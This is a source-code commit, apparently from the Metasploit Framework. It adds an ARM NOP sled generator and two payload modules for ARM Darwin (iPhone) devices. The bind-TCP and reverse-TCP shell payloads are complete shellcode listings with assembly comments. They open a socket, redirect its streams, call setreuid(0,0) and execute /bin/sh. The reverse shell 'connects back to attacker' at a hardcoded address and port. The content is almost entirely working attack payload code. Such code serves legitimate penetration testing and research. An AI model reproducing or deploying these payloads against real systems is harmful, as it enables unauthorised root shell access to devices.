nops and payloads for arm-darwin (aka iphone) :-)

git-svn-id: file:///home/svn/framework3/trunk@5110 4d416f70-5f16-0410-b530-b9f4589650da

modules/nops/armle/simple.rb

@@ -0,0 +1,75 @@
+##
+# $Id: simple.rb 4419 2007-02-18 00:10:39Z hdm $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+
+require 'msf/core'
+
+module Msf
+module Nops
+module Armle
+
+###
+#
+# SingleByte
+# ----------
+#
+# This class implements simple NOP generator for ARM (little endian)
+#
+###
+class Simple < Msf::Nop
+
+
+	def initialize
+		super(
+			'Name'        => 'Simple',
+			'Alias'       => 'armle_simple',
+			'Version'     => '$Revision: 4419 $',
+			'Description' => 'Simple NOP generator',
+			'Author'      => 'hdm',
+			'License'     => MSF_LICENSE,
+			'Arch'        => ARCH_ARMLE)
+
+		register_advanced_options(
+			[
+				OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ])
+			], self.class)
+	end
+
+
+	def generate_sled(length, opts)
+		
+		badchars = opts['BadChars'] || ''
+		random   = opts['Random']   || datastore['RandomNops']
+
+		nops = [ 
+			0xe1a01001,
+			0xe1a02002,
+			0xe1a03003,
+			0xe1a04004,
+			0xe1a05005,
+			0xe1a06006,
+			0xe1a07007,
+			0xe1a08008,
+			0xe1a09009,
+			0xe1a0a00a,
+			0xe1a0b00b
+		]
+				
+		if( random and random.match(/^(t|y|1)/i) )
+			return ([nops[rand(nops.length)]].pack("V*") * (length/4))
+		end
+
+		return (nops[0].pack("V*") * (length/4))
+	end
+
+end
+
+end end end

modules/payloads/singles/osx/armle/shell_bind_tcp.rb

@@ -0,0 +1,123 @@
+##
+# $Id: shell_bind_tcp.rb 5033 2007-07-06 01:22:54Z ramon $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+
+require 'msf/core'
+require 'msf/core/handler/bind_tcp'
+require 'msf/base/sessions/command_shell'
+
+module Msf
+module Payloads
+module Singles
+module Osx
+module Armle
+
+module ShellBindTcp
+
+	include Msf::Payload::Single
+	include Msf::Payload::Osx
+
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'          => 'OSX Command Shell, Bind TCP Inline',
+			'Version'       => '$Revision: 5033 $',
+			'Description'   => 'Listen for a connection and spawn a command shell',
+			'Author'        => 'hdm',
+			'License'       => MSF_LICENSE,
+			'Platform'      => 'osx',
+			'Arch'          => ARCH_ARMLE,
+			'Handler'       => Msf::Handler::BindTcp,
+			'Session'       => Msf::Sessions::CommandShell,
+			'Payload'       =>
+				{
+					'Offsets' =>
+						{
+							'LPORT'    => [ 34, 'n' ],
+						},
+					'Payload' =>
+						[
+							# socket
+							0xe3a00002, # mov r0, #0x2
+							0xe3a01001, # mov r1, #0x1
+							0xe3a02006, # mov r2, #0x6
+							0xe3a0c061, # mov r12, #0x61
+							0xef000080, # swi 128
+							0xe1a0a000, # mov r10, r0
+							0xeb000001, # bl _bind
+
+							# port 4444
+							0x5c110200,
+							0x00000000,
+
+							# bind
+							0xe1a0000a, # mov r0, r10
+							0xe1a0100e, # mov r1, lr
+							0xe3a02010, # mov r2, #0x10
+							0xe3a0c068, # mov r12, #0x68
+							0xef000080, # swi 128
+
+							# listen
+							0xe1a0000a, # mov r0, r10
+							0xe3a01001, # mov r1, #0x1
+							0xe3a0c06a, # mov r12, #0x6a
+							0xef000080, # swi 128
+
+							# accept
+							0xe3a0c01e, # mov r12, #0x1e
+							0xe1a0000a, # mov r0, r10
+							0xe3a01010, # mov r1, #0x10
+							0xe50d1018, # str r1, [sp, #-24]
+							0xe24d2010, # sub r2, sp, #0x10
+							0xe24d3018, # sub r3, sp, #0x18
+							0xef000080, # swi 128
+							0xe1a0b000, # mov r11, r0
+
+							# setup dup2
+							0xe3a05002, # mov r5, #0x2
+
+							# dup2
+							0xe3a0c05a, # mov r12, #0x5a
+							0xe1a0000b, # mov r0, r11
+							0xe1a01005, # mov r1, r5
+							0xef000080, # swi 128
+							0xe2455001, # sub r5, r5, #0x1
+							0xe3550000, # cmp r5, #0x0
+							0xaafffff8, # bge _dup2
+
+							# setreuid(0,0)
+							0xe3a00000, # mov r0, #0x0
+							0xe3a01001, # mov r1, #0x1
+							0xe3a0c07e, # mov r12, #0x7e
+							0xef000080, # swi 128
+
+							# execve
+							0xe0455005, # sub r5, r5, r5
+							0xe1a0600d, # mov r6, sp
+							0xe24dd020, # sub sp, sp, #0x20
+							0xe28f0014, # add r0, pc, #0x14
+							0xe4860000, # str r0, [r6], #0
+							0xe5865004, # str r5, [r6, #4]
+							0xe1a01006, # mov r1, r6
+							0xe3a02000, # mov r2, #0x0
+							0xe3a0c03b, # mov r12, #0x3b
+							0xef000080, # swi 128
+
+							# /bin/sh
+							0x6e69622f,
+							0x0068732f
+						].pack("V*")
+				}
+			))
+	end
+
+end
+
+end end end end end

modules/payloads/singles/osx/armle/shell_reverse_tcp.rb

@@ -0,0 +1,110 @@
+##
+# $Id: shell_reverse_tcp.rb 5033 2007-07-06 01:22:54Z ramon $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+
+module Msf
+module Payloads
+module Singles
+module Osx
+module Armle
+
+module ShellReverseTcp
+
+	include Msf::Payload::Single
+	include Msf::Payload::Osx
+
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'          => 'OSX Command Shell, Reverse TCP Inline',
+			'Version'       => '$Revision: 5033 $',
+			'Description'   => 'Connect back to attacker and spawn a command shell',
+			'Author'        => 'hdm',
+			'License'       => MSF_LICENSE,
+			'Platform'      => 'osx',
+			'Arch'          => ARCH_ARMLE,
+			'Handler'       => Msf::Handler::ReverseTcp,
+			'Session'       => Msf::Sessions::CommandShell,
+			'Payload'       =>
+				{
+					'Offsets' =>
+						{
+							'LPORT'    => [ 34, 'n'    ],
+							'LHOST'    => [ 36, 'ADDR' ],
+						},
+					'Payload' =>			
+						[
+							# socket
+							0xe3a00002, # mov r0, #0x2
+							0xe3a01001, # mov r1, #0x1
+							0xe3a02006, # mov r2, #0x6
+							0xe3a0c061, # mov r12, #0x61
+							0xef000080, # swi 128
+							0xe1a0a000, # mov r10, r0
+							0xeb000001, # bl _konnect
+
+							# port 4444
+							0x5c110200,
+
+							# host 192.168.0.135
+							0x8700a8c0,
+
+							# connect
+							0xe1a0000a, # mov r0, r10
+							0xe1a0100e, # mov r1, lr
+							0xe3a02010, # mov r2, #0x10
+							0xe3a0c062, # mov r12, #0x62
+							0xef000080, # swi 128
+
+							# setup dup2
+							0xe3a05002, # mov r5, #0x2
+
+							# dup2
+							0xe3a0c05a, # mov r12, #0x5a
+							0xe1a0000a, # mov r0, r10
+							0xe1a01005, # mov r1, r5
+							0xef000080, # swi 128
+							0xe2455001, # sub r5, r5, #0x1
+							0xe3550000, # cmp r5, #0x0
+							0xaafffff8, # bge _dup2
+
+							# setreuid(0,0)
+							0xe3a00000, # mov r0, #0x0
+							0xe3a01001, # mov r1, #0x1
+							0xe3a0c07e, # mov r12, #0x7e
+							0xef000080, # swi 128
+
+							# execve
+							0xe0455005, # sub r5, r5, r5
+							0xe1a0600d, # mov r6, sp
+							0xe24dd020, # sub sp, sp, #0x20
+							0xe28f0014, # add r0, pc, #0x14
+							0xe4860000, # str r0, [r6], #0
+							0xe5865004, # str r5, [r6, #4]
+							0xe1a01006, # mov r1, r6
+							0xe3a02000, # mov r2, #0x0
+							0xe3a0c03b, # mov r12, #0x3b
+							0xef000080, # swi 128
+
+							# /bin/sh
+							0x6e69622f,
+							0x0068732f
+						].pack("V*")	
+				}
+			))
+	end
+
+end
+
+end end end end end